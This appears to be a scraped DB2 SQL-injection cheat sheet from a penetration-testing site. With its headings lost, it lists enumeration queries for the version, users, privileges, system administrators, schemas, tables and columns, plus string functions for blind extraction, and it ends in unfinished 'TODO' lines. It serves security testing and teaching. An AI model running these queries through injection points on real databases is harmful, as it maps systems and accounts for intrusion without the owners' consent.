source: http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
select versionnumber, version_timestamp from sysibm.sysversions;
select blah from foo; — comment like this
select user from sysibm.sysdummy1;
select session_user from sysibm.sysdummy1;
select system_user from sysibm.sysdummy1;
N/A (I think DB2 uses OS-level user accounts for authentication.)Database authorities (like roles, I think) can be listed like this:
select grantee from syscat.dbauth;
N/A (I think DB2 uses OS-level user accounts for authentication.)
select * from syscat.tabauth; — privs on tables
select * from syscat.dbauth where grantee = current user;
select * from syscat.tabauth where grantee = current user;
select * from SYSIBM.SYSUSERAUTH – List db2 system privilegies
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'
select current server from sysibm.sysdummy1;
SELECT schemaname FROM syscat.schemata;
select name, tbname, coltype from sysibm.syscolumns;
select name from sysibm.systables;
select tbname from sysibm.syscolumns where name='username'
select name from (SELECT name FROM sysibm.systables order by
name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; — returns b
This page seems to indicate that DB2 has no support for bitwise operators!
select chr(65) from sysibm.sysdummy1; — returns 'A'
select ascii('A') from sysibm.sysdummy1; — returns 65
SELECT cast('123' as integer) FROM sysibm.sysdummy1;
SELECT cast(1 as char) FROM sysibm.sysdummy1;
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; — returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1; — returns 'ab'
TODO
TODO
TODO
???See Heavy Queries article for some ideas.
TODO
TODO
TODO
TODO
TODO
TODO